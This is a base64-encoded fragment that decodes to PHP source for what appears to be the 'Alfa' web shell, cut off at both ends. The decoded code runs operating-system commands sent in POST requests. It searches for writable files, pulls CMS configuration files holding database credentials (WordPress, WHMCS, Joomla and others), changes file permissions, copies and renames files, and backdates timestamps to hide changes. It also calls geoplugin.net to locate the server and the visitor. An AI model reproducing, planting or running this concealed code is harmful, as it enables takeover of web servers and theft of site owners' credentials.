E7DQpmb3JlYWNoKCRmIGFzICRzKXsNCiRzPXRyaW0oJHMpOw0KaWYoZnVuY3Rpb25fZXhpc3RzKCRzKXx8IWlzX2NhbGxhYmxlKCRzKSljb250aW51ZTsNCmVjaG8gJzx0cj48dGQgYWxpZ249ImNlbnRlciIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IGJsYWNrOyI+Jy4kaS4nPC90ZD4nOw0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiBibGFjazsiPjxhIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IG5vbmU7IiB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3BocC5uZXQvbWFudWFsL2VuL2Z1bmN0aW9uLicuc3RyX3JlcGxhY2UoJ18nLCctJywkcykuJy5waHAiPjxzcGFuIGNsYXNzPSJkaXNhYmxlX2Z1bmN0aW9ucyI+PGI+Jy4kcy4nPC9iPjwvc3Bhbj48L2E+PC90ZD4nOw0KJGkrKzsNCn0NCmVjaG8gJzwvdGFibGU+PC9jZW50ZXI+JzsNCmVjaG8gJzwvZGl2Pic7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBBbGZhX0NyZWF0ZV9BX1RhZygkYWN0aW9uLCR2YWxzKXsNCiRudWxscyA9IGFycmF5KCk7DQpmb3JlYWNoKCR2YWxzIGFzICRrZXkgPT4gJHZhbCl7DQplY2hvICc8YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnJy4kYWN0aW9uLidcJywnOw0KZm9yKCRpPTE7JGk8PSR2YWxbMV0tMTskaSsrKSRudWxsc1tdID0gJ251bGwnOw0KJGYgPSBpbXBsb2RlKCcsJywkbnVsbHMpOw0KZWNobyAkZi4nLFwnJy4kdmFsWzBdLidcJyk7cmV0dXJuIGZhbHNlOyI+fCAnLiRrZXkuJyB8IDwvYT4nOw0KdW5zZXQoJG51bGxzKTsNCn0NCn0NCmZ1bmN0aW9uIEFsZmFfU2VhcmNoZXIoJGRpciwgJGV4dCwgJG1ldGhvZCkgew0KaWYoQGlzX3JlYWRhYmxlKCRkaXIpKXsNCmlmKCRtZXRob2QgPT0gJ2FsbCcpJGV4dCA9ICcqJzsNCmlmKCRtZXRob2QgPT0gJ2RpcnMnKSRleHQgPSAnKic7DQokZ2xvYkZpbGVzID0gQGdsb2IoIiRkaXIvKi4kZXh0Iik7DQokZ2xvYkRpcnMgID0gQGdsb2IoIiRkaXIvKiIsIEdMT0JfT05MWURJUik7DQokYmxhY2tsaXN0ID0gYXJyYXkoKTsNCmZvcmVhY2ggKCRnbG9iRGlycyBhcyAkZGlyKSB7DQppZighQGlzX3JlYWRhYmxlKCRkaXIpfHxAaXNfbGluaygkZGlyKSkgY29udGludWU7DQpAQWxmYV9TZWFyY2hlcigkZGlyLCAkZXh0LCAkbWV0aG9kKTsNCn0NCnN3aXRjaCgkbWV0aG9kKXsNCmNhc2UgImZpbGVzIjoNCmZvcmVhY2ggKCRnbG9iRmlsZXMgYXMgJGZpbGUpew0KaWYoQGlzX3dyaXRhYmxlKCRmaWxlKSl7DQplY2hvICIkZmlsZTxicj4iOw0KfQ0KfQ0KYnJlYWs7DQpjYXNlICJkaXJzIjoNCmZvcmVhY2ggKCRnbG9iRmlsZXMgYXMgJGZpbGUpew0KaWYoQGlzX3dyaXRhYmxlKGRpcm5hbWUoJGZpbGUpKSAmJiAhaW5fYXJyYXkoZGlybmFtZSgkZmlsZSksICRibGFja2xpc3QpKXsNCmVjaG8gZGlybmFtZSgkZmlsZSkuJzxicj4nOw0KJGJsYWNrbGlzdFtdID0gZGlybmFtZSgkZmlsZSk7DQp9DQp9DQpicmVhazsNCmNhc2UgImFsbCI6DQpmb3JlYWNoICgkZ2xvYkZpbGVzIGFzICRmaWxlKXsNCmVjaG8gJGZpbGUuJzxicj4nOw0KfQ0KYnJlYWs7DQp9DQp1bnNldCgkYmxhY2tsaXN0KTsNCn0NCn0NCmZ1bmN0aW9uIEFsZmFpRnJhbWVDcmVhdG9yKCRmLCR3aWR0aD0nMTAwJScsJGhlaWdodD0nNjAwcHgnKXsNCnJldHVybignPGlmcmFtZSBzcmM9IicuX19VQ0VOX0RBVEFfRk9MREVSX18uIi8iLiRmLiciIHdpZHRoPSInLiR3aWR0aC4nIiBoZWlnaHQ9IicuJGhlaWdodC4nIiBmcmFtZWJvcmRlcj0iMCI+PC9pZnJhbWU+Jyk7DQp9DQpjbGFzcyBBbGZhQ1VSTCB7DQpwdWJsaWMgJGhlYWRlcnM7DQpwdWJsaWMgJHVzZXJfYWdlbnQ7DQpwdWJsaWMgJGNvbXByZXNzaW9uOw0KcHVibGljICRjb29raWVfZmlsZTsNCnB1YmxpYyAkcHJveHk7DQpwdWJsaWMgJHBhdGg7DQpwdWJsaWMgJHNzbCA9IHRydWU7DQpwdWJsaWMgJGN1cmxfc3RhdHVzID0gdHJ1ZTsNCmZ1bmN0aW9uIF9fY29uc3RydWN0KCRjb29raWVzPWZhbHNlLCRjb21wcmVzc2lvbj0nZ3ppcCcsJHByb3h5PScnKXsNCmlmKCFleHRlbnNpb25fbG9hZGVkKCdjdXJsJykpeyRjdXJsX3N0YXR1cyA9IGZhbHNlO3JldHVybiBmYWxzZTt9DQokdGhpcy0+aGVhZGVyc1tdID0gJ0FjY2VwdDogaW1hZ2UvZ2lmLCBpbWFnZS94LWJpdG1hcCwgaW1hZ2UvanBlZywgaW1hZ2UvcGpwZWcnOw0KJHRoaXMtPmhlYWRlcnNbXSA9ICdDb25uZWN0aW9uOiBLZWVwLUFsaXZlJzsNCiR0aGlzLT5oZWFkZXJzW10gPSAnQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ7Y2hhcnNldD1VVEYtOCc7DQokdGhpcy0+dXNlcl9hZ2VudCA9ICdNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBJbnRlbCBNYWMgT1MgWCAxMF8xNF82KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvODMuMC40MTAzLjYxIFNhZmFyaS81MzcuMzYpJzsNCiR0aGlzLT5wYXRoID0gQUxGQV9URU1QRElSLicvQWxmYV9jb29raWVzLnR4dCc7DQokdGhpcy0+Y29tcHJlc3Npb249JGNvbXByZXNzaW9uOw0KJHRoaXMtPnByb3h5PSRwcm94eTsNCiR0aGlzLT5jb29raWVzPSRjb29raWVzOw0KaWYoJHRoaXMtPmNvb2tpZXMpJHRoaXMtPmNvb2tpZSgkdGhpcy0+cGF0aCk7DQp9DQpmdW5jdGlvbiBjb29raWUoJGNvb2tpZV9maWxlKSB7DQppZiAoX2FsZmFfZmlsZV9leGlzdHMoJGNvb2tpZV9maWxlLGZhbHNlKSkgew0KJHRoaXMtPmNvb2tpZV9maWxlPSRjb29raWVfZmlsZTsNCn1lbHNlew0KQGZvcGVuKCRjb29raWVfZmlsZSwndycpIG9yIGRpZSgkdGhpcy0+ZXJyb3IoJ1RoZSBjb29raWUgZmlsZSBjb3VsZCBub3QgYmUgb3BlbmVkLicpKTsNCiR0aGlzLT5jb29raWVfZmlsZT0kY29va2llX2ZpbGU7DQpAZmNsb3NlKCR0aGlzLT5jb29raWVfZmlsZSk7DQp9DQp9DQpmdW5jdGlvbiBTZW5kKCR1cmwsJG1ldGhvZD0iZ2V0IiwkZGF0YT0iIil7DQppZighJHRoaXMtPmN1cmxfc3RhdHVzKXtyZXR1cm4gZmFsc2U7fQ0KJHByb2Nlc3MgPSBjdXJsX2luaXQoJHVybCk7DQpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9IVFRQSEVBREVSLCAkdGhpcy0+aGVhZGVycyk7DQpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9IRUFERVIsIDApOw0KY3VybF9zZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfVVNFUkFHRU5ULCAkdGhpcy0+dXNlcl9hZ2VudCk7DQpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9FTkNPRElORyAsICR0aGlzLT5jb21wcmVzc2lvbik7DQpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9USU1FT1VULCAzMCk7DQppZigkdGhpcy0+c3NsKXsNCmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSICxmYWxzZSk7DQpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCxmYWxzZSk7DQp9DQppZigkdGhpcy0+Y29va2llcyl7DQpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9DT09LSUVGSUxFLCAkdGhpcy0+cGF0aCk7DQpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9DT09LSUVKQVIsICR0aGlzLT5wYXRoKTsNCn0NCmlmKCR0aGlzLT5wcm94eSl7DQpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9QUk9YWSwgJHRoaXMtPnByb3h5KTsNCn0NCmlmKCRtZXRob2Q9PSdwb3N0Jyl7DQpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9QT1NURklFTERTLCAkZGF0YSk7DQpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9QT1NULCAxKTsNCmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX0hUVFBIRUFERVIsIGFycmF5KCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpKTsNCn0NCiRyZXR1cm4gPSBAY3VybF9leGVjKCRwcm9jZXNzKTsNCmN1cmxfY2xvc2UoJHByb2Nlc3MpOw0KcmV0dXJuICRyZXR1cm47DQp9DQpmdW5jdGlvbiBlcnJvcigkZXJyb3IpIHsNCmVjaG8gIjxjZW50ZXI+PGRpdiBzdHlsZT0nd2lkdGg6NTAwcHg7Ym9yZGVyOiAzcHggc29saWQgI0ZGRUVGRjsgcGFkZGluZzogM3B4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZEREZGO2ZvbnQtZmFtaWx5OiB2ZXJkYW5hOyBmb250LXNpemU6IDEwcHgnPjxiPmNVUkwgRXJyb3I8L2I+PGJyPiRlcnJvcjwvZGl2PjwvY2VudGVyPiI7DQpkaWU7DQp9DQp9DQpmdW5jdGlvbiBnZXRDb25maWdIdG1sKCRjbXMpew0KJGNvbnRlbnQgPSAnJzsNCiRjbXNfYXJyYXkgPSBhcnJheSgid3AiID0+ICJXb3JkUHJlc3MiLCAidmIiID0+ICJ2QnVsbGV0aW4iLCAid2htY3MiID0+ICJXaG1jcyIsICJqb29tbGEiID0+ICJKb29tbGEiLCAicGhwbnVrZSIgPT4gIlBIUE51a2UiLCJwaHBiYiI9PiJQSFBCQiIsIm15YmIiPT4iTXlCQiIsImRydXBhbCI9PiJEcnVwYWwiLCJzbWYiPT4iU01GIik7DQokY29udGVudCAuPSAiPGZvcm0gY2xhc3M9J2dldGNvbmZpZycgb25TdWJtaXQ9J2coXCJHZXRDb25maWdcIixudWxsLHRoaXMuY21zLnZhbHVlLHRoaXMucGF0aC52YWx1ZSx0aGlzLmdldEF0dHJpYnV0ZShcImJhc2VfaWRcIikpO3JldHVybiBmYWxzZTsnPjxkaXYgY2xhc3M9J3R4dGZvbnQnPkNtczogPC9kaXY+IDxzZWxlY3QgbmFtZT0nY21zJ3N0eWxlPSd3aWR0aDoxMDBweDsnPiI7DQpmb3JlYWNoKCRjbXNfYXJyYXkgYXMgJGtleSA9PiAkdmFsKXsNCiRjb250ZW50IC49ICI8b3B0aW9uIHZhbHVlPSd7JGtleX0nICIuKCRrZXk9PSRjbXM/J3NlbGVjdGVkPXNlbGVjdGVkJzonJykuIj57JHZhbH08L29wdGlvbj4iOw0KfQ0KJGNvbnRlbnQgLj0gIjwvc2VsZWN0PiA8ZGl2IGNsYXNzPSd0eHRmb250Jz5QYXRoKGluc3RhbGxlZCBjbXMvQ29uZmlnKTogPC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwYXRoJyB2YWx1ZT0nIi4kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLiIvJyBzaXplPSczMCcgLz4gPGJ1dHRvbiBjbGFzcz0nYnV0dG9uJz5HZXRDb25maWc8L2J1dHRvbj4iOw0KJGNvbnRlbnQgLj0gIjwvZm9ybT4iOw0KcmV0dXJuICRjb250ZW50Ow0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2pzb25fZW5jb2RlJykpew0KICAgIGZ1bmN0aW9uIGpzb25fZW5jb2RlKCRhPWZhbHNlKXsNCiAgICAgICAgaWYgKGlzX251bGwoJGEpKSByZXR1cm4gJ251bGwnOw0KICAgICAgICBpZiAoJGEgPT09IGZhbHNlKSByZXR1cm4gJ2ZhbHNlJzsNCiAgICAgICAgaWYgKCRhID09PSB0cnVlKSByZXR1cm4gJ3RydWUnOw0KICAgICAgICBpZiAoaXNfc2NhbGFyKCRhKSkNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKGlzX2Zsb2F0KCRhKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gZmxvYXR2YWwoc3RyX3JlcGxhY2UoIiwiLCAiLiIsIHN0cnZhbCgkYSkpKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgaWYgKGlzX3N0cmluZygkYSkpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgc3RhdGljICRqc29uUmVwbGFjZXMgPSBhcnJheShhcnJheSgiXFwiLCAiLyIsICJcbiIsICJcdCIsICJcciIsICJcYiIsICJcZiIsICciJyksIGFycmF5KCdcXFxcJywgJ1xcLycsICdcXG4nLCAnXFx0JywgJ1xccicsICdcXGInLCAnXFxmJywgJ1wiJykpOw0KICAgICAgICAgICAgICAgIHJldHVybiAnIicgLiBzdHJfcmVwbGFjZSgkanNvblJlcGxhY2VzWzBdLCAkanNvblJlcGxhY2VzWzFdLCAkYSkgLiAnIic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlDQogICAgICAgICAgICByZXR1cm4gJGE7DQogICAgICAgIH0NCiAgICAgICAgJGlzTGlzdCA9IHRydWU7DQogICAgICAgIGZvciAoJGkgPSAwLCByZXNldCgkYSk7ICRpIDwgY291bnQoJGEpOyAkaSsrLCBuZXh0KCRhKSkNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKGtleSgkYSkgIT09ICRpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRpc0xpc3QgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkcmVzdWx0ID0gYXJyYXkoKTsNCiAgICAgICAgaWYgKCRpc0xpc3QpDQogICAgICAgIHsNCiAgICAgICAgICAgIGZvcmVhY2ggKCRhIGFzICR2KSAkcmVzdWx0W10gPSBqc29uX2VuY29kZSgkdik7DQogICAgICAgICAgICByZXR1cm4gJ1snIC4gam9pbignLCcsICRyZXN1bHQpIC4gJ10nOw0KICAgICAgICB9DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgZm9yZWFjaCAoJGEgYXMgJGsgPT4gJHYpICRyZXN1bHRbXSA9IGpzb25fZW5jb2RlKCRrKS4nOicuanNvbl9lbmNvZGUoJHYpOw0KICAgICAgICAgICAgcmV0dXJuICd7JyAuIGpvaW4oJywnLCAkcmVzdWx0KSAuICd9JzsNCiAgICAgICAgfQ0KICAgIH0NCn0NCmlmICggIWZ1bmN0aW9uX2V4aXN0cygnanNvbl9kZWNvZGUnKSApew0KZnVuY3Rpb24ganNvbl9kZWNvZGUoJGpzb24sICRhcnJheT10cnVlKXsNCiAgICAkY29tbWVudCA9IGZhbHNlOw0KICAgICRvdXQgPSAnJHg9JzsNCiAgICBmb3IgKCRpPTA7ICRpPHN0cmxlbigkanNvbik7ICRpKyspDQogICAgew0KICAgICAgICBpZiAoISRjb21tZW50KQ0KICAgICAgICB7DQogICAgICAgICAgICBpZiAoJGpzb25bJGldID09ICd7JyB8fCAkanNvblskaV0gPT0gJ1snKXskb3V0IC49ICcgYXJyYXkoJzt9DQogICAgICAgICAgICBlbHNlIGlmICgkanNvblskaV0gPT0gJ30nIHx8ICRqc29uWyRpXSA9PSAnXScpeyRvdXQgLj0gJyknO30NCiAgICAgICAgICAgIGVsc2UgaWYgKCRqc29uWyRpXSA9PSAnOicpeyRvdXQgLj0gJz0+Jzt9DQogICAgICAgICAgICBlbHNlIHskb3V0IC49ICRqc29uWyRpXTt9DQogICAgICAgIH0NCiAgICAgICAgZWxzZSAkb3V0IC49ICRqc29uWyRpXTsNCiAgICAgICAgaWYgKCRqc29uWyRpXSA9PSAnIicpICAgICRjb21tZW50ID0gISRjb21tZW50Ow0KICAgIH0NCiAgICBldmFsKCRvdXQgLiAnOycpOw0KICAgIHJldHVybiAkeDsNCn0NCn0NCmZ1bmN0aW9uIGFsZmF0ZXJtaW5hbEV4ZWMoKXsNCgkkcHdkID0gInB3ZCI7DQoJJHNlcGVyYXRvciA9ICI7IjsNCglpZigkR0xPQkFMU1snc3lzJ10hPSd1bml4Jyl7DQoJCSRwd2QgPSAiY2QiOw0KCQkkc2VwZXJhdG9yID0gIiYiOw0KCX0NCglpZigkR0xPQkFMU1siZ2xvYl9jaGRpcl9mYWxzZSJdJiYhZW1wdHkoJF9QT1NUWyJjIl0pKXskY21kID0gImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0pLiInIi4kc2VwZXJhdG9yO30NCgkkY3VycmVudF9wYXRoID0gJyc7DQoJaWYocHJlZ19tYXRjaCgiL2NkWyBdezAsfSguKilbIF17MCx9Ii4kc2VwZXJhdG9yLiJ8Y2RbIF17MCx9KC4qKVsgXXswLH0vaSIsICRfUE9TVFsnYWxmYTEnXSwgJG1hdGNoKSl7DQoJCWlmKGVtcHR5KCRtYXRjaFsxXSkpew0KCQkJJG1hdGNoWzFdID0gJG1hdGNoWzJdOw0KCQl9DQoJCSRjdXJyZW50X3BhdGggPSBhbGZhRXgoImNkICIuYWRkc2xhc2hlcygkbWF0Y2hbMV0pLiRzZXBlcmF0b3IuJHB3ZCk7DQoJCSRjdXJyZW50X3BhdGggPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRjdXJyZW50X3BhdGgpOw0KCX0NCgkkb3V0ID0gYWxmYUV4KCRjbWQuJF9QT1NUWydhbGZhMSddLCB0cnVlKTsNCgkkb3V0ID0gaHRtbHNwZWNpYWxjaGFycygkb3V0KTsNCgllY2hvIGpzb25fZW5jb2RlKGFycmF5KCJvdXRwdXQiID0+IGNvbnZlcnRCYXNoKCRvdXQpLCAicGF0aCIgPT4gJGN1cnJlbnRfcGF0aCkpOw0KfQ0KZnVuY3Rpb24gY29udmVydEJhc2goJGNvZGUpIHsNCiAgICAkZGljdGlvbmFyeSA9IGFycmF5KA0KICAgICAgICAnWzAxOzMwbScgPT4gJzxzcGFuIHN0eWxlPSJjb2xvcjpibGFjayI+JywNCiAgICAgICAgJ1swMTszMW0nID0+ICc8c3BhbiBzdHlsZT0iY29sb3I6cmVkIj4nLA0KICAgICAgICAnWzAxOzMybScgPT4gJzxzcGFuIHN0eWxlPSJjb2xvcjpncmVlbiI+JywNCiAgICAgICAgJ1swMTszM20nID0+ICc8c3BhbiBzdHlsZT0iY29sb3I6eWVsbG93Ij4nLA0KICAgICAgICAnWzAxOzM0bScgPT4gJzxzcGFuIHN0eWxlPSJjb2xvcjpibHVlIj4nLA0KICAgICAgICAnWzAxOzM1bScgPT4gJzxzcGFuIHN0eWxlPSJjb2xvcjpwdXJwbGUiPicsDQogICAgICAgICdbMDE7MzZtJyA9PiAnPHNwYW4gc3R5bGU9ImNvbG9yOmN5YW4iPicsDQogICAgICAgICdbMDE7MzdtJyA9PiAnPHNwYW4gc3R5bGU9ImNvbG9yOndoaXRlIj4nLA0KICAgICAgICAnWzBtJyAgID0+ICc8L3NwYW4+Jw0KICAgICk7DQogICAgJGh0bWxTdHJpbmcgPSBzdHJfcmVwbGFjZShhcnJheV9rZXlzKCRkaWN0aW9uYXJ5KSwgJGRpY3Rpb25hcnksICRjb2RlKTsNCiAgICByZXR1cm4gJGh0bWxTdHJpbmc7DQp9DQpmdW5jdGlvbiBhbGZhZG9BY3Rpb25zKCl7DQoJJGNoZGlyX2ZhbHMgPSBmYWxzZTsNCglpZighQGNoZGlyKCRfUE9TVFsnYyddKSl7DQoJCSRjaGRpcl9mYWxzID0gdHJ1ZTsNCgkJJGFsZmFfY2FucnVuY21kID0gX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKTsNCgl9DQoJaWYoaXNzZXQoJF9QT1NUWydhbGZhMSddKSkkX1BPU1RbJ2FsZmExJ10gPSByYXd1cmxkZWNvZGUoJF9QT1NUWydhbGZhMSddKTsNCglpZihpc3NldCgkX1BPU1RbJ2FsZmEyJ10pKSRfUE9TVFsnYWxmYTInXSA9IHJhd3VybGRlY29kZSgkX1BPU1RbJ2FsZmEyJ10pOw0KCSRhY3Rpb24gPSAkX1BPU1RbImFsZmEzIl07DQoJaWYoJGFjdGlvbiA9PSAicGVybWlzc2lvbiIpew0KCQkkcGVybXMgPSAwOw0KCQkkcGVybSA9ICRfUE9TVFsiYWxmYTIiXTsNCgkJZm9yKCRpPXN0cmxlbigkcGVybSktMTskaT49MDstLSRpKXsNCgkJCSRwZXJtcyArPSAoaW50KSRwZXJtWyRpXSpwb3coOCwgKHN0cmxlbigkcGVybSktJGktMSkpOw0KCQl9DQoJCWlmKEBjaG1vZCgkX1BPU1RbJ2FsZmExJ10sICRwZXJtcykpew0KCQkJZWNobygiZG9uZSIpOw0KCQl9ZWxzZXsNCgkJCWVjaG8oIm5vIik7DQoJCX0NCgkJcmV0dXJuOw0KCX0NCglpZigkYWN0aW9uID09ICJyZW5hbWUiIHx8ICRhY3Rpb24gPT0gIm1vdmUiKXsNCgkJJGFsZmExX2RlY29kZWQgPSAkX1BPU1RbJ2FsZmExJ107DQoJCWlmKCRjaGRpcl9mYWxzKXsNCgkJCSRfUE9TVFsnYWxmYTEnXSA9ICRfUE9TVFsiYyJdLiIvIi4kX1BPU1RbImFsZmExIl07DQoJCX0NCgkJJF9QT1NUWydhbGZhMSddID0gdHJpbSgkX1BPU1RbJ2FsZmExJ10pOw0KCQkkYWxmYTFfZXNjYXBlID0gYWRkc2xhc2hlcygkX1BPU1RbImFsZmExIl0pOw0KCQlpZigkX1BPU1RbImFsZmEzIl0gPT0gInJlbmFtZSIpew0KCQkJJF9QT1NUWydhbGZhMiddID0gYmFzZW5hbWUoJF9QT1NUWydhbGZhMiddKTsNCgkJfQ0KCQlpZighZW1wdHkoJF9QT1NUWydhbGZhMiddKSl7DQoJCQkkY21kX3JlbmFtZSA9IGZhbHNlOw0KCQkJaWYoJGNoZGlyX2ZhbHMmJiRhbGZhX2NhbnJ1bmNtZCl7DQoJCQkJaWYoX2FsZmFfaXNfd3JpdGFibGUoJF9QT1NUWydhbGZhMSddKSl7DQoJCQkJCSRjbWRfcmVuYW1lID0gdHJ1ZTsNCgkJCQkJJGFsZmExX2VzY2FwZSA9IGFkZHNsYXNoZXMoJGFsZmExX2RlY29kZWQpOw0KCQkJCQlhbGZhRXgoImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWydjJ10pLiInO212ICciLiRhbGZhMV9lc2NhcGUuIicgJyIuYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmEyJ10pLiInIik7DQoJCQkJfQ0KCQkJfQ0KCQkJaWYoIWZpbGVfZXhpc3RzKCRfUE9TVFsnYWxmYTInXSkpew0KCQkJCWlmKEByZW5hbWUoJF9QT1NUWydhbGZhMSddLCAkX1BPU1RbJ2FsZmEyJ10pfHwkY21kX3JlbmFtZSl7DQoJCQkJCWVjaG8gImRvbmUiOw0KCQkJCX1lbHNlew0KCQkJCQllY2hvICJubyI7DQoJCQkJfQ0KCQkJfWVsc2V7DQoJCQkJZWNobyAibm8iOw0KCQkJfQ0KCQl9DQoJfWVsc2VpZigkYWN0aW9uID09ICJjb3B5Iil7DQoJCWlmKGlzX2RpcigkX1BPU1RbImFsZmExIl0pKXsNCgkJCSRkaXIgPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICRfUE9TVFsiYWxmYTEiXSk7DQoJCQkkZGlyID0gZXhwbG9kZSgnLycsICRkaXIpOw0KCQkJaWYoZW1wdHkoJGRpcltjb3VudCgkZGlyKSAtIDFdKSl7DQoJCQkJJG5hbWUgPSAkZGlyW2NvdW50KCRkaXIpIC0gMl07DQoJCQl9ZWxzZXsNCgkJCQkkbmFtZSA9ICRkaXJbY291bnQoJGRpcikgLSAxXTsNCgkJCX0NCgkJfWVsc2V7DQoJCQkkbmFtZSA9IGJhc2VuYW1lKCRfUE9TVFsiYWxmYTEiXSk7DQoJCX0NCgkJJGRpciA9IGRpcm5hbWUoJF9QT1NUWyJhbGZhMSJdKTsNCgkJaWYoJGRpciA9PSAiLiIpew0KCQkJJGRpciA9ICRfUE9TVFsiYyJdLiIvIjsNCgkJfQ0KCQlpZihpc19maWxlKCRfUE9TVFsiYWxmYTEiXSkpew0KCQkJQGNvcHkoJF9QT1NUWyJhbGZhMSJdLCAkX1BPU1RbImFsZmEyIl0pOw0KCQkJZWNobygiZG9uZSIpOw0KCQl9ZWxzZWlmKGlzX2RpcigkX1BPU1RbImFsZmExIl0pKXsNCgkJCWlmKCFpc19kaXIoJF9QT1NUWyJhbGZhMiJdKSl7DQoJCQkJbWtkaXIoJF9QT1NUWyJhbGZhMiJdLCAwNzU1LCB0cnVlKTsNCgkJCX0NCgkJCWNvcHlfcGFzdGUoJGRpciwgJG5hbWUgLCAkX1BPU1RbImFsZmEyIl0gLiAiLyIpOw0KCQkJZWNobygiZG9uZSIpOw0KCQl9DQoJfWVsc2VpZigkYWN0aW9uID09ICJtb2RpZnkiKXsNCgkJaWYoICFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pICkgew0KCQkJJHRpbWUgPSBzdHJ0b3RpbWUoJF9QT1NUWydhbGZhMSddKTsNCgkJCWlmKCR0aW1lKXsNCgkJCQkkdG91Y2hlZCA9IGZhbHNlOw0KCQkJCWlmKCRjaGRpcl9mYWxzJiYkYWxmYV9jYW5ydW5jbWQpew0KCQkJCQlhbGZhRXgoImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0pLiInO3RvdWNoIC1kICciLmh0bWxzcGVjaWFsY2hhcnMoYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmExJ10pKS4iJyAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTInXSkuIiciKTsNCgkJCQkJJHRvdWNoZWQgPSB0cnVlOw0KCQkJCX0NCgkJCQlpZighQHRvdWNoKCRfUE9TVFsnYWxmYTInXSwkdGltZSwkdGltZSkmJiEkdG91Y2hlZCl7DQoJCQkJCWVjaG8gJ25vJzsNCgkJCQl9ZWxzZXsNCgkJCQkJZWNobyAnb2snOw0KCQkJCX0NCgkJCX0gZWxzZXsNCgkJCQkgZWNobyAnYmFkdGltZSc7DQoJCQl9DQoJCX0NCgl9DQoNCn0NCmZ1bmN0aW9uIGFsZmFnZXRfZmxhZ3MoKXsNCgkkZmxhZ3MgPSBhcnJheSgpOw0KCWlmKGZ1bmN0aW9uX2V4aXN0cygiY3VybF92ZXJzaW9uIikpew0KCQkkY3VybCA9IG5ldyBBbGZhQ1VSTCgpOw0KCQkkc2VydmVyX2FkZHIgPSAoIUAkX1NFUlZFUlsiU0VSVkVSX0FERFIiXT8oZnVuY3Rpb25fZXhpc3RzKCJnZXRob3N0YnluYW1lIik/QGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pOic/Pz8/Jyk6QCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdKTsNCgkJJGZsYWcgPSAkY3VybC0+U2VuZCgiaHR0cDovL3d3dy5nZW9wbHVnaW4ubmV0L2pzb24uZ3A/aXA9IiAuICRzZXJ2ZXJfYWRkcik7DQoJCSRmbGFnMiA9ICRjdXJsLT5TZW5kKCJodHRwOi8vd3d3Lmdlb3BsdWdpbi5uZXQvanNvbi5ncD9pcD0iIC4gJF9TRVJWRVJbIlJFTU9URV9BRERSIl0pOw0KCQlpZihzdHJwb3MoJGZsYWcyLCAiZ2VvcGx1Z2luIikgIT0gZmFsc2Upew0KCQkJJGZsYWcgPSBqc29uX2RlY29kZSgkZmxhZywgdHJ1ZSk7DQoJCQkkZmxhZzIgPSBqc29uX2RlY29kZSgkZmxhZzIsIHRydWUpOw0KCQkJaWYoIWVtcHR5KCRmbGFnWydnZW9wbHVnaW5fY291bnRyeUNvZGUnXSkpew0KCQkJCSRmbGFnc1sic2VydmVyIl1bIm5hbWUiXSA9ICRmbGFnWydnZW9wbHVnaW5fY291bnRyeU5hbWUnXTsNCgkJCQkkZmxhZ3NbInNlcnZlciJdWyJjb2RlIl0gPSAkZmxhZ1snZ2VvcGx1Z2luX2NvdW50cnlDb2RlJ107DQoJCQl9DQoJCQlpZighZW1wdHkoJGZsYWcyWydnZW9wbHVnaW5fY291bnRyeUNvZGUnXSkpew0KCQk